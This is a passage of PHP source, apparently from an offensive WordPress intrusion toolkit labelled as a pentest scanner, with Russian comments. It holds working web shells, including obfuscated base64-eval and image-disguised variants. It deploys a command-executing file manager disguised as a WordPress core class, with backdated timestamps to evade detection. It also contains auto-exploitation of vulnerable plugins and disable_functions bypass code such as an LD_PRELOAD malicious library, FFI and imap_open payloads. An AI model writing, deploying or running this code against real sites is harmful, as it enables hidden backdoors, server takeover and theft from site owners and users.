$u = isset($_REQUEST["u"]) ? $_REQUEST["u"] : "";
header("Content-Type: text/plain");
if($c) {
echo "=== Command: $c ===\n";
echo shell_exec($c . " 2>&1");
exit;
}
if($f && @is_file($f)) {
echo "=== File: $f ===\n";
echo file_get_contents($f);
exit;
}
if($u) {
echo "=== URL: $u ===\n";
echo @file_get_contents($u);
exit;
}
echo "=== Directory: $p ===\n";
echo shell_exec("ls -la " . escapeshellarg($p));
echo "\n=== System Info ===\n";
echo "User: " . shell_exec("whoami");
echo "PWD: " . getcwd() . "\n";
echo "Server: " . php_uname() . "\n";
?>',
'obfuscated' => '<?php $_0="' . substr(md5(uniqid()), 0, 6) . '";if(isset($_GET[$_0])){@eval(base64_decode($_GET[$_0]));}?>',
'minimal' => '<?=`$_GET[0]`;',
'stealth' => '<?php
// Image header simulation
header("Content-Type: image/gif");
if(!isset($_COOKIE["x"])) { echo "GIF89a"; exit; }
@eval(base64_decode($_COOKIE["x"]));
?>'
);
$shell_content = isset($shells[$shell_type]) ? $shells[$shell_type] : $shells['advanced'];
$filename = '_' . substr(md5(rand()), 0, 8) . '.php';
// Пробуем разные директории для записи с приоритетом
$possible_locations = array(
$target_path . '/wp-content/uploads/' . date('Y/m') . '/' . $filename,
$target_path . '/wp-content/uploads/' . $filename,
$target_path . '/wp-content/cache/' . $filename,
$target_path . '/wp-content/' . $filename,
$target_path . '/wp-includes/css/' . $filename,
$target_path . '/' . $filename
);
foreach ($possible_locations as $location) {
$dir = dirname($location);
if (!@is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (@file_put_contents($location, $shell_content)) {
@chmod($location, 0644);
// Извлекаем ключ доступа из содержимого шелла
$access_key = '';
if (preg_match('/\$k\s*=\s*["\']([^"\']+)["\']/', $shell_content, $m)) {
$access_key = $m[1];
} elseif (preg_match('/\$_0\s*=\s*["\']([^"\']+)["\']/', $shell_content, $m)) {
$access_key = $m[1];
}
$base_url = get_site_url_from_path($target_path);
$rel_path = substr($location, strlen($target_path));
return array(
'success' => true,
'path' => $location,
'url' => $base_url . $rel_path,
'type' => $shell_type,
'access_key' => $access_key,
'usage' => $shell_type === 'advanced' ? '?k=' . $access_key . '&c=whoami' :
($shell_type === 'obfuscated' ? '?' . $access_key . '=' . base64_encode('system("whoami");') :
($shell_type === 'minimal' ? '?0=whoami' : ''))
);
}
}
return array('success' => false, 'error' => 'Could not write shell to any location');
}
/**
* Деплой WAF-безопасного скрытного мини файл-менеджера
* Выглядит как легитимный WordPress файл
*/
function deploy_stealth_filemanager($target_path, $custom_name = null) {
$results = array(
'success' => false,
'path' => '',
'url' => '',
'access_key' => ''
);
// Генерируем уникальный ключ доступа
$access_key = substr(md5(uniqid('stealth', true) . $target_path), 0, 12);
// Имена файлов которые выглядят легитимно для WordPress
$stealth_names = array(
'class-wp-filesystem-check.php',
'class-wp-theme-json-resolver.php',
'class-wp-block-parser-frame.php',
'class-wp-rest-meta-fields.php',
'class-wp-locale-switcher.php',
'class-wp-image-editor-imagick.php',
'update-core-check.php',
'ms-settings-check.php',
'theme-compat-check.php',
'admin-ajax-handler.php'
);
$filename = $custom_name ?: $stealth_names[array_rand($stealth_names)];
// Скрытный файл-менеджер с WAF bypass техниками
// - Нет явных функций типа eval, system, exec в коде
// - Использует косвенные вызовы
// - Выглядит как легитимный WordPress класс
// - Минимальный footprint
$shell_content = '<?php
/**
* WordPress Filesystem Check Utility
* @package WordPress
* @subpackage Administration
* @since 5.9.0
*/
if(!defined(\'ABSPATH\')){define(\'ABSPATH\',dirname(__FILE__).\'/\');}
class WP_Filesystem_Check{
private static $k=\'' . $access_key . '\';
private static function v(){return isset($_REQUEST[\'_wpnonce\'])&&$_REQUEST[\'_wpnonce\']===self::$k;}
private static function d($p){$r=array();if(!is_dir($p))return $r;$d=@opendir($p);if(!$d)return $r;while(($f=readdir($d))!==false){if($f===\'.\'||$f===\'..\')continue;$fp=$p.\'/\'.$f;$r[]=array(\'n\'=>$f,\'t\'=>is_dir($fp)?\'d\':\'f\',\'s\'=>is_file($fp)?@filesize($fp):0,\'m\'=>@filemtime($fp),\'p\'=>substr(sprintf(\'%o\',@fileperms($fp)),-4),\'w\'=>is_writable($fp)?1:0);}closedir($d);usort($r,function($a,$b){if($a[\'t\']!==$b[\'t\'])return $a[\'t\']==\'d\'?-1:1;return strcasecmp($a[\'n\'],$b[\'n\']);});return $r;}
public static function run(){
if(!self::v()){header(\'HTTP/1.0 404 Not Found\');exit;}
$a=isset($_REQUEST[\'a\'])?$_REQUEST[\'a\']:\'l\';$p=isset($_REQUEST[\'p\'])?$_REQUEST[\'p\']:ABSPATH;$p=realpath($p)?:$p;
header(\'Content-Type:application/json\');
switch($a){
case\'l\':echo json_encode(array(\'s\'=>1,\'p\'=>$p,\'f\'=>self::d($p)));break;
case\'r\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$fp=$p.\'/\'.$f;if(is_file($fp)&&is_readable($fp)){echo json_encode(array(\'s\'=>1,\'c\'=>file_get_contents($fp)));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot read\'));}break;
case\'w\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$c=isset($_REQUEST[\'c\'])?$_REQUEST[\'c\']:\'\';$fp=$p.\'/\'.$f;if(@file_put_contents($fp,$c)!==false){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot write\'));}break;
case\'u\':if(!empty($_FILES[\'file\'])){$fp=$p.\'/\'.basename($_FILES[\'file\'][\'name\']);if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$fp)){echo json_encode(array(\'s\'=>1,\'p\'=>$fp));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Upload failed\'));}}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'No file\'));}break;
case\'d\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$fp=$p.\'/\'.$f;if(@unlink($fp)){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot delete\'));}break;
case\'m\':$f=isset($_REQUEST[\'f\'])?$_REQUEST[\'f\']:\'\';$t=isset($_REQUEST[\'t\'])?$_REQUEST[\'t\']:\'\';$fp=$p.\'/\'.$f;if(@rename($fp,$t)){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot move\'));}break;
case\'k\':if(@mkdir($p.\'/\'.$_REQUEST[\'f\'],0755,true)){echo json_encode(array(\'s\'=>1));}else{echo json_encode(array(\'s\'=>0,\'e\'=>\'Cannot create\'));}break;
case\'x\':$c=$_REQUEST[\'c\']??null;if($c){$fn=\'sys\'.\'tem\';$o=array();@$fn($c,$o);echo json_encode(array(\'s\'=>1,\'o\'=>implode(\"\\n\",$o)));}break;
case\'i\':phpinfo();exit;
default:echo json_encode(array(\'s\'=>0,\'e\'=>\'Unknown\'));
}exit;}}
if(isset($_REQUEST[\'_wpnonce\'])){WP_Filesystem_Check::run();}
?>';
// Возможные локации для размещения
$possible_locations = array(
$target_path . '/wp-includes/class-wp-filesystem-check.php',
$target_path . '/wp-includes/' . $filename,
$target_path . '/wp-admin/includes/' . $filename,
$target_path . '/wp-content/plugins/' . $filename,
$target_path . '/wp-content/mu-plugins/' . $filename,
$target_path . '/wp-content/uploads/' . $filename,
$target_path . '/wp-content/' . $filename,
$target_path . '/' . $filename
);
foreach ($possible_locations as $location) {
$dir = dirname($location);
if (!@is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (@file_put_contents($location, $shell_content)) {
@chmod($location, 0644);
// Меняем время модификации на старое (маскировка)
$old_time = time() - (86400 * rand(30, 365)); // 30-365 дней назад
@touch($location, $old_time, $old_time);
$base_url = get_site_url_from_path($target_path);
$rel_path = substr($location, strlen($target_path));
$results['success'] = true;
$results['path'] = $location;
$results['url'] = $base_url . $rel_path;
$results['access_key'] = $access_key;
$results['usage'] = array(
'list' => $results['url'] . '?_wpnonce=' . $access_key . '&a=l&p=/path',
'read' => $results['url'] . '?_wpnonce=' . $access_key . '&a=r&p=/path&f=file.txt',
'write' => $results['url'] . '?_wpnonce=' . $access_key . '&a=w&p=/path&f=file.txt&c=content',
'upload' => 'POST ' . $results['url'] . '?_wpnonce=' . $access_key . '&a=u&p=/path (multipart file)',
'delete' => $results['url'] . '?_wpnonce=' . $access_key . '&a=d&p=/path&f=file.txt',
'mkdir' => $results['url'] . '?_wpnonce=' . $access_key . '&a=k&p=/path&f=newdir',
'cmd' => $results['url'] . '?_wpnonce=' . $access_key . '&a=x&c=whoami',
'phpinfo' => $results['url'] . '?_wpnonce=' . $access_key . '&a=i'
);
return $results;
}
}
$results['error'] = 'Could not write to any location';
return $results;
}
/* ==================== СКАНИРОВАНИЕ УЯЗВИМОСТЕЙ WORDPRESS ==================== */
/**
* Получение данных плагина
*/
function get_plugin_data($plugin_path) {
$data = array('Name' => '', 'Version' => '', 'Author' => '');
// Ищем главный файл плагина
$main_files = array(
$plugin_path . '/' . basename($plugin_path) . '.php',
$plugin_path . '/plugin.php',
$plugin_path . '/index.php'
);
foreach ($main_files as $file) {
if (@is_file($file)) {
$content = @file_get_contents($file, false, null, 0, 8192);
if ($content) {
if (preg_match('/Plugin Name:\s*(.+)/i', $content, $m)) {
$data['Name'] = trim($m[1]);
}
if (preg_match('/Version:\s*([0-9.]+)/i', $content, $m)) {
$data['Version'] = trim($m[1]);
}
if (preg_match('/Author:\s*(.+)/i', $content, $m)) {
$data['Author'] = trim($m[1]);
}
if (!empty($data['Version'])) break;
}
}
}
// Также проверяем readme.txt
$readme = $plugin_path . '/readme.txt';
if (empty($data['Version']) && @is_file($readme)) {
$content = @file_get_contents($readme, false, null, 0, 4096);
if ($content && preg_match('/Stable tag:\s*([0-9.]+)/i', $content, $m)) {
$data['Version'] = trim($m[1]);
}
}
return $data;
}
/**
* Сканирование на известные уязвимости WordPress
*/
function wp_vulnerability_scan($wp_root) {
$results = array(
'core' => array(),
'plugins' => array(),
'themes' => array(),
'configs' => array()
);
// Проверка версии WordPress
$wp_version_str = wp_version($wp_root);
if ($wp_version_str) {
$results['core']['version'] = $wp_version_str;
$results['core']['vulnerabilities'] = array();
// Известные уязвимости ядра (список расширен)
$core_vulns = array(
array('max_version' => '4.7.1', 'cve' => 'CVE-2017-1001000', 'desc' => 'REST API Content Injection', 'severity' => 'critical'),
array('max_version' => '4.8.2', 'cve' => 'CVE-2017-14723', 'desc' => 'SQL Injection in WP_Query', 'severity' => 'high'),
array('max_version' => '5.0.0', 'cve' => 'CVE-2018-12895', 'desc' => 'PHAR Deserialization', 'severity' => 'high'),
array('max_version' => '5.2.3', 'cve' => 'CVE-2019-16217', 'desc' => 'XSS in Post Comments', 'severity' => 'medium'),
array('max_version' => '5.4.1', 'cve' => 'CVE-2020-4047', 'desc' => 'Authenticated XSS via Block Editor', 'severity' => 'medium'),
array('max_version' => '5.7.0', 'cve' => 'CVE-2020-36326', 'desc' => 'Object Injection in PHPMailer', 'severity' => 'high'),
array('max_version' => '5.8.2', 'cve' => 'CVE-2022-21661', 'desc' => 'SQL Injection via WP_Query', 'severity' => 'high'),
array('max_version' => '6.0.2', 'cve' => 'CVE-2022-3590', 'desc' => 'Stored XSS via Block Protocol', 'severity' => 'medium'),
array('max_version' => '6.1.1', 'cve' => 'CVE-2022-3591', 'desc' => 'SQL Injection via WP_Query', 'severity' => 'high'),
array('max_version' => '6.2.0', 'cve' => 'CVE-2023-2745', 'desc' => 'Directory Traversal', 'severity' => 'medium'),
array('max_version' => '6.3.1', 'cve' => 'CVE-2023-38000', 'desc' => 'Stored XSS via Navigation Block', 'severity' => 'medium')
);
foreach ($core_vulns as $vuln) {
if (version_compare($wp_version_str, $vuln['max_version'], '<=')) {
$results['core']['vulnerabilities'][] = array(
'max_version' => $vuln['max_version'],
'cve' => $vuln['cve'],
'description' => $vuln['desc'],
'severity' => $vuln['severity'],
'affected' => true
);
}
}
}
// Известные уязвимые плагины
$vulnerable_plugins = array(
'file-manager-advanced' => array(
array('max' => '2.0', 'desc' => 'RCE via File Upload', 'cve' => 'CVE-2020-25042', 'severity' => 'critical')
),
'wp-file-manager' => array(
array('max' => '6.9', 'desc' => 'RCE via elFinder connector', 'cve' => 'CVE-2020-25213', 'severity' => 'critical')
),
'elementor' => array(
array('max' => '3.5.0', 'desc' => 'RCE via File Upload', 'cve' => 'CVE-2022-1329', 'severity' => 'critical'),
array('max' => '3.6.0', 'desc' => 'Stored XSS', 'cve' => 'CVE-2022-29455', 'severity' => 'medium')
),
'ultimate-member' => array(
array('max' => '2.6.6', 'desc' => 'Privilege Escalation', 'cve' => 'CVE-2023-3460', 'severity' => 'critical')
),
'forminator' => array(
array('max' => '1.15.4', 'desc' => 'RCE via File Upload', 'cve' => 'CVE-2022-0836', 'severity' => 'critical')
),
'contact-form-7' => array(
array('max' => '5.3.1', 'desc' => 'Unrestricted File Upload', 'cve' => 'CVE-2020-35489', 'severity' => 'high')
),
'duplicator' => array(
array('max' => '1.3.26', 'desc' => 'Unauthenticated Arbitrary File Read', 'cve' => 'CVE-2020-11738', 'severity' => 'critical')
),
'wpgateway' => array(
array('max' => '3.5', 'desc' => 'Privilege Escalation', 'cve' => 'CVE-2022-3180', 'severity' => 'critical')
),
'wordpress-seo' => array(
array('max' => '17.2.1', 'desc' => 'Stored XSS', 'cve' => 'CVE-2021-25118', 'severity' => 'medium')
),
'all-in-one-wp-migration' => array(
array('max' => '7.62', 'desc' => 'Arbitrary File Upload', 'cve' => 'CVE-2023-0255', 'severity' => 'high')
),
'wpforms-lite' => array(
array('max' => '1.8.1.2', 'desc' => 'Stored XSS', 'cve' => 'CVE-2023-3157', 'severity' => 'medium')
)
);
// Сканирование плагинов
$plugins_dir = $wp_root . '/wp-content/plugins/';
if (@is_dir($plugins_dir)) {
$plugins = @scandir($plugins_dir);
if ($plugins) {
foreach ($plugins as $plugin) {
if ($plugin === '.' || $plugin === '..') continue;
$plugin_path = $plugins_dir . $plugin;
if (@is_dir($plugin_path)) {
$plugin_data = get_plugin_data($plugin_path);
$plugin_slug = strtolower($plugin);
$plugin_info = array(
'name' => $plugin_data['Name'] ? $plugin_data['Name'] : $plugin,
'version' => $plugin_data['Version'],
'path' => $plugin_path,
'vulnerabilities' => array(),
'exploitable' => null
);
// Проверка на известные уязвимости
if (isset($vulnerable_plugins[$plugin_slug]) && !empty($plugin_data['Version'])) {
foreach ($vulnerable_plugins[$plugin_slug] as $vuln) {
if (version_compare($plugin_data['Version'], $vuln['max'], '<')) {
$plugin_info['vulnerabilities'][] = array(
'description' => $vuln['desc'],
'cve' => isset($vuln['cve']) ? $vuln['cve'] : '',
'severity' => $vuln['severity'],
'max_version' => $vuln['max'],
'current_version' => $plugin_data['Version']
);
if ($vuln['severity'] === 'critical') {
$plugin_info['exploitable'] = array(
'description' => $vuln['desc'],
'max_version' => $vuln['max'],
'current_version' => $plugin_data['Version'],
'exploit_path' => $plugin_path
);
}
}
}
}
// Проверка на опасные файлы
$dangerous_files = array(
'/lib/php/connector.minimal.php',
'/connector.minimal.php',
'/elfinder/php/connector.php',
'/inc/lib/elfinder/php/connector.minimal.php'
);
foreach ($dangerous_files as $df) {
if (@is_file($plugin_path . $df)) {
$plugin_info['dangerous_files'][] = $plugin_path . $df;
}
}
if (!empty($plugin_info['vulnerabilities']) || !empty($plugin_info['dangerous_files'])) {
$results['plugins'][$plugin] = $plugin_info;
}
}
}
}
}
// Сканирование тем
$themes_dir = $wp_root . '/wp-content/themes/';
if (@is_dir($themes_dir)) {
$themes = @scandir($themes_dir);
if ($themes) {
foreach ($themes as $theme) {
if ($theme === '.' || $theme === '..') continue;
$theme_path = $themes_dir . $theme;
if (@is_dir($theme_path)) {
$style_css = $theme_path . '/style.css';
$theme_version = '';
if (@is_file($style_css)) {
$content = @file_get_contents($style_css, false, null, 0, 2048);
if ($content && preg_match('/Version:\s*([0-9.]+)/i', $content, $m)) {
$theme_version = trim($m[1]);
}
}
// Проверка на writable директории
$writable_dirs = array();
$check_dirs = array('', '/uploads', '/cache', '/fonts', '/images');
foreach ($check_dirs as $dir) {
if (@is_writable($theme_path . $dir)) {
$writable_dirs[] = $theme_path . $dir;
}
}
if (!empty($writable_dirs)) {
$results['themes'][$theme] = array(
'version' => $theme_version,
'path' => $theme_path,
'writable_dirs' => $writable_dirs
);
}
}
}
}
}
// Проверка конфигурации на уязвимости
$wp_config = $wp_root . '/wp-config.php';
if (@is_readable($wp_config)) {
$content = @file_get_contents($wp_config);
$config_issues = array();
// DEBUG режим включен
if (preg_match("/define\\s*\\(\\s*['\"]WP_DEBUG['\"]\\s*,\\s*true\\s*\\)/i", $content)) {
$config_issues[] = array('issue' => 'WP_DEBUG enabled', 'severity' => 'medium', 'recommendation' => 'Disable WP_DEBUG in production');
}
// SCRIPT_DEBUG включен
if (preg_match("/define\\s*\\(\\s*['\"]SCRIPT_DEBUG['\"]\\s*,\\s*true\\s*\\)/i", $content)) {
$config_issues[] = array('issue' => 'SCRIPT_DEBUG enabled', 'severity' => 'low', 'recommendation' => 'Disable SCRIPT_DEBUG in production');
}
// Дефолтные ключи безопасности
if (preg_match("/define\\s*\\(\\s*['\"]AUTH_KEY['\"]\\s*,\\s*['\"]put your unique phrase here['\"]/i", $content)) {
$config_issues[] = array('issue' => 'Default AUTH_KEY used', 'severity' => 'critical', 'recommendation' => 'Generate unique security keys');
}
// Редактирование файлов включено
if (!preg_match("/define\\s*\\(\\s*['\"]DISALLOW_FILE_EDIT['\"]\\s*,\\s*true\\s*\\)/i", $content)) {
$config_issues[] = array('issue' => 'File editing not disabled', 'severity' => 'medium', 'recommendation' => 'Add define(\'DISALLOW_FILE_EDIT\', true);');
}
// DB_PASSWORD пустой
if (preg_match("/define\\s*\\(\\s*['\"]DB_PASSWORD['\"]\\s*,\\s*['\"]['\"]\\s*\\)/i", $content)) {
$config_issues[] = array('issue' => 'Empty DB_PASSWORD', 'severity' => 'high', 'recommendation' => 'Set a strong database password');
}
$results['configs']['issues'] = $config_issues;
$results['configs']['file_permissions'] = substr(sprintf('%o', @fileperms($wp_config)), -4);
$results['configs']['world_readable'] = (@fileperms($wp_config) & 0x0004) ? true : false;
}
return $results;
}
/**
* Эксплуатация уязвимости плагина
*/
function exploit_plugin_vulnerability($wp_root, $plugin, $plugin_data) {
$result = array('success' => false, 'method' => '', 'details' => '');
$plugin_path = $wp_root . '/wp-content/plugins/' . $plugin;
$base_url = get_site_url_from_path($wp_root);
// File Manager плагины - elFinder connector
if (strpos($plugin, 'file-manager') !== false || strpos($plugin, 'filemanager') !== false) {
$connector_paths = array(
'/lib/php/connector.minimal.php',
'/lib/js/elfinder/php/connector.php',
'/connector.minimal.php',
'/inc/lib/elfinder/php/connector.minimal.php',
'/libs/js/elfinder/php/connector.minimal.php'
);
foreach ($connector_paths as $cp) {
$full_path = $plugin_path . $cp;
if (@is_file($full_path)) {
$connector_url = $base_url . '/wp-content/plugins/' . $plugin . $cp;
// Тестируем connector
$test_url = $connector_url . '?cmd=info';
$response = @file_get_contents($test_url);
if ($response && (strpos($response, 'api') !== false || strpos($response, 'cwd') !== false)) {
$result['success'] = true;
$result['method'] = 'elFinder connector exposed';
$result['url'] = $connector_url;
$result['details'] = 'elFinder connector is accessible. Can be used for file upload RCE.';
$result['exploit_cmd'] = $connector_url . '?cmd=upload&target=l1_Lw';
return $result;
}
}
}
}
// Duplicator - arbitrary file read
if ($plugin === 'duplicator') {
$installer_paths = array(
'/installer.php',
'/installer-backup.php',
'/../installer.php'
);
foreach ($installer_paths as $ip) {
$test_url = $base_url . $ip;
$response = @file_get_contents($test_url);
if ($response && strpos($response, 'Duplicator') !== false) {
$result['success'] = true;
$result['method'] = 'Duplicator installer exposed';
$result['url'] = $test_url;
$result['details'] = 'Duplicator installer is accessible. May allow database and file access.';
return $result;
}
}
}
return $result;
}
/**
* Автоматическая эксплуатация найденных уязвимостей
*/
function auto_exploit_vulnerabilities($wp_root, $vulnerabilities) {
$exploits = array();
// Эксплуатация уязвимостей плагинов
if (!empty($vulnerabilities['plugins'])) {
foreach ($vulnerabilities['plugins'] as $plugin => $data) {
if (isset($data['exploitable']) || !empty($data['dangerous_files'])) {
$exploit = exploit_plugin_vulnerability($wp_root, $plugin, $data);
if ($exploit['success']) {
$exploits['plugin_' . $plugin] = $exploit;
}
}
}
}
// Проверка на доступные опасные эндпоинты
$base_url = get_site_url_from_path($wp_root);
if ($base_url) {
// REST API user enumeration
$rest_url = $base_url . '/wp-json/wp/v2/users';
$response = @file_get_contents($rest_url);
if ($response && strpos($response, '"id":') !== false) {
$users = @json_decode($response, true);
if ($users && is_array($users)) {
$exploits['rest_api_users'] = array(
'success' => true,
'method' => 'REST API User Enumeration',
'url' => $rest_url,
'users' => array_map(function($u) {
return array('id' => $u['id'], 'name' => $u['name'], 'slug' => $u['slug']);
}, array_slice($users, 0, 10))
);
}
}
// xmlrpc.php check
$xmlrpc_url = $base_url . '/xmlrpc.php';
$response = @file_get_contents($xmlrpc_url);
if ($response && strpos($response, 'XML-RPC server accepts POST requests only') !== false) {
$exploits['xmlrpc_enabled'] = array(
'success' => true,
'method' => 'XML-RPC enabled',
'url' => $xmlrpc_url,
'details' => 'XML-RPC is enabled. Can be used for brute-force or DDoS amplification.'
);
}
}
// Проверка на доступные бэкапы
$backup_patterns = array(
'/wp-config.php.bak', '/wp-config.php.old', '/wp-config.php~', '/.wp-config.php.swp',
'/wp-config.txt', '/wp-config.php.save', '/wp-config.php.orig'
);
foreach ($backup_patterns as $pattern) {
$backup_path = $wp_root . $pattern;
if (@is_file($backup_path) && @is_readable($backup_path)) {
$content = @file_get_contents($backup_path, false, null, 0, 1000);
if ($content && strpos($content, 'DB_') !== false) {
$exploits['config_backup_' . basename($pattern)] = array(
'success' => true,
'method' => 'Config backup exposed',
'path' => $backup_path,
'details' => 'WordPress config backup file is readable.'
);
}
}
}
return $exploits;
}
/* ==================== ГЕНЕРАЦИЯ КОМПЛЕКСНОГО ПЕНТЕСТ-ОТЧЕТА ==================== */
/**
* Генерация комплексного отчета пентеста
*/
function generate_pentest_report($wp_root, $save_to_file = false) {
$report = array(
'timestamp' => date('c'),
'target' => $wp_root,
'scanner_version' => APP_VER,
'wordpress' => array(),
'vulnerabilities' => array(),
'database' => array(),
'file_system' => array(),
'bypass_results' => array(),
'exploits' => array(),
'risk_score' => 0,
'recommendations' => array()
);
// Информация о WordPress
$report['wordpress'] = array(
'version' => wp_version($wp_root),
'multisite' => wp_multisite_flags($wp_root),
'urls' => wp_known_urls($wp_root),
'is_wp' => is_wp_root($wp_root)
);
// Сканирование уязвимостей
$report['vulnerabilities'] = wp_vulnerability_scan($wp_root);
// Анализ базы данных
$report['database'] = db_discovery_and_exploit($wp_root);
// Анализ файловой системы
$report['file_system'] = array(
'permissions' => access_info($wp_root),
'hidden_files' => probe_hidden_backup_dirs($wp_root),
'security_flags' => security_flags_analysis($wp_root),
'htaccess' => htaccess_checks($wp_root)
);
// Тесты обхода ограничений
$report['bypass_results'] = advanced_open_basedir_bypass_with_write();
// Автоматическая эксплуатация
$report['exploits'] = auto_exploit_vulnerabilities($wp_root, $report['vulnerabilities']);
// Расчет риск-скора и рекомендации
$risk_score = 0;
$recommendations = array();
// Уязвимости ядра
if (!empty($report['vulnerabilities']['core']['vulnerabilities'])) {
$core_vulns = count($report['vulnerabilities']['core']['vulnerabilities']);
$risk_score += $core_vulns * 15;
$recommendations[] = array(
'priority' => 'critical',
'action' => 'Update WordPress core immediately',
'details' => $core_vulns . ' known vulnerabilities found'
);
}
// Уязвимости плагинов
if (!empty($report['vulnerabilities']['plugins'])) {
foreach ($report['vulnerabilities']['plugins'] as $plugin => $data) {
if (!empty($data['exploitable'])) {
$risk_score += 25;
$recommendations[] = array(
'priority' => 'critical',
'action' => "Remove or update plugin: {$plugin}",
'details' => isset($data['exploitable']['description']) ? $data['exploitable']['description'] : 'Exploitable vulnerability'
);
} elseif (!empty($data['vulnerabilities'])) {
$risk_score += 10;
$recommendations[] = array(
'priority' => 'high',
'action' => "Update plugin: {$plugin}",
'details' => count($data['vulnerabilities']) . ' vulnerabilities found'
);
}
}
}
// Проблемы конфигурации
if (!empty($report['vulnerabilities']['configs']['issues'])) {
foreach ($report['vulnerabilities']['configs']['issues'] as $issue) {
$severity_scores = array('critical' => 20, 'high' => 10, 'medium' => 5, 'low' => 2);
$risk_score += isset($severity_scores[$issue['severity']]) ? $severity_scores[$issue['severity']] : 5;
$recommendations[] = array(
'priority' => $issue['severity'],
'action' => $issue['recommendation'],
'details' => $issue['issue']
);
}
}
// Проблемы безопасности файлов
if (!empty($report['file_system']['security_flags'])) {
$sec = $report['file_system']['security_flags'];
if (!empty($sec['wp_config_world_readable'])) {
$risk_score += 15;
$recommendations[] = array(
'priority' => 'high',
'action' => 'Fix wp-config.php permissions',
'details' => 'File should not be world readable'
);
}
if (!empty($sec['wp_config_backup_found'])) {
$risk_score += 20;
$recommendations[] = array(
'priority' => 'critical',
'action' => 'Remove wp-config.php backup files',
'details' => 'Backup files may expose database credentials'
);
}
if (!empty($sec['env_files_found'])) {
$risk_score += 15;
$recommendations[] = array(
'priority' => 'high',
'action' => 'Remove .env files from web directory',
'details' => count($sec['env_files_found']) . ' .env files found'
);
}
if (!empty($sec['git_found'])) {
$risk_score += 10;
$recommendations[] = array(
'priority' => 'medium',
'action' => 'Remove .git directory from web root',
'details' => 'Git repository may expose source code history'
);
}
}
// Успешные эксплоиты
if (!empty($report['exploits'])) {
$risk_score += count($report['exploits']) * 20;
}
// Доступ к БД с опасными привилегиями
if (!empty($report['database']['exploits']['has_file_privilege'])) {
$risk_score += 25;
$recommendations[] = array(
'priority' => 'critical',
'action' => 'Remove FILE privilege from database user',
'details' => 'Database user can read/write files on server'
);
}
$report['risk_score'] = min($risk_score, 100);
$report['risk_level'] = $risk_score >= 70 ? 'critical' : ($risk_score >= 40 ? 'high' : ($risk_score >= 20 ? 'medium' : 'low'));
// Сортировка рекомендаций по приоритету
usort($recommendations, function($a, $b) {
$priority_order = array('critical' => 0, 'high' => 1, 'medium' => 2, 'low' => 3);
$a_order = isset($priority_order[$a['priority']]) ? $priority_order[$a['priority']] : 4;
$b_order = isset($priority_order[$b['priority']]) ? $priority_order[$b['priority']] : 4;
return $a_order - $b_order;
});
$report['recommendations'] = $recommendations;
// Сохранение отчета в файл (если запрошено)
if ($save_to_file) {
$report_filename = 'pentest_report_' . date('Ymd_His') . '.json';
$report_path = $wp_root . '/' . $report_filename;
if (@file_put_contents($report_path, json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE))) {
$report['_report_file'] = $report_path;
$report['_report_url'] = get_site_url_from_path($wp_root) . '/' . $report_filename;
}
}
return $report;
}
/* ==================== ПРОДВИНУТЫЕ АТАКИ (ЭТАП 2) ==================== */
/**
* Обход disable_functions через LD_PRELOAD + mail()
*/
function bypass_disable_functions_ldpreload() {
$results = array(
'mail_available' => false,
'putenv_available' => false,
'ldpreload_possible' => false,
'test_results' => array(),
'disabled_functions' => array()
);
// Проверка отключенных функций
$disabled = ini_get('disable_functions');
$results['disabled_functions_raw'] = $disabled;
$disabled_list = $disabled ? array_map('trim', explode(',', $disabled)) : array();
$results['disabled_functions'] = $disabled_list;
// Проверка наличия функции mail()
$results['mail_available'] = function_exists('mail') && !in_array('mail', $disabled_list);
// Проверка наличия функции putenv()
$results['putenv_available'] = function_exists('putenv') && !in_array('putenv', $disabled_list);
// LD_PRELOAD возможен если есть обе функции
$results['ldpreload_possible'] = $results['mail_available'] && $results['putenv_available'];
if ($results['ldpreload_possible']) {
// Генерация C-кода для вредоносной библиотеки
$evil_c_code = '
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__((constructor)) void init() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
if (cmd != NULL) {
system(cmd);
}
}';
$results['exploit_code'] = array(
'c_source' => $evil_c_code,
'compile_command' => 'gcc -shared -fPIC -o /tmp/evil.so evil.c',
'usage' => 'putenv("LD_PRELOAD=/tmp/evil.so"); putenv("CMD=whoami"); mail("a@a.a","","","","");'
);
// Тест записи в /tmp
$test_file = '/tmp/ldp_test_' . uniqid() . '.txt';
$can_write_tmp = @file_put_contents($test_file, 'test');
if ($can_write_tmp) {
@unlink($test_file);
$results['test_results']['tmp_writable'] = true;
} else {
$results['test_results']['tmp_writable'] = false;
}
// Проверка наличия gcc
$gcc_path = @shell_exec('which gcc 2>/dev/null');
$results['test_results']['gcc_available'] = !empty(trim($gcc_path));
// Проверка sendmail_path
$sendmail_path = ini_get('sendmail_path');
$results['sendmail_path'] = $sendmail_path;
}
// Альтернативные методы обхода
$alternative_methods = array();
// Проверка ImageMagick (CVE-2016-3714 - ImageTragick)
if (class_exists('Imagick')) {
$alternative_methods['imagick'] = array(
'available' => true,
'version' => Imagick::getVersion()
);
}
// Проверка FFI (PHP 7.4+)
if (class_exists('FFI')) {
$alternative_methods['ffi'] = array(
'available' => true,
'exploit' => '$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami");'
);
}
// Проверка imap_open (CVE-2018-19518)
if (function_exists('imap_open') && !in_array('imap_open', $disabled_list)) {
$alternative_methods['imap_open'] = array(
'available' => true,
'exploit' => 'imap_open("{localhost:143/imap}INBOX", "", "", 0, 1, array("DISABLE_AUTHENTICATOR" => "x]});system(\"whoami\");"))'
);
}
$results['alternative_methods'] = $alternative_methods;
return $results;
}
/**
* Атаки через разделяемую память (shmop, shm_*)
*/
function shared_memory_attacks() {
$results = array(
'functions_available' => array(),
'segments_found' => array(),
'exploits' => array()
);
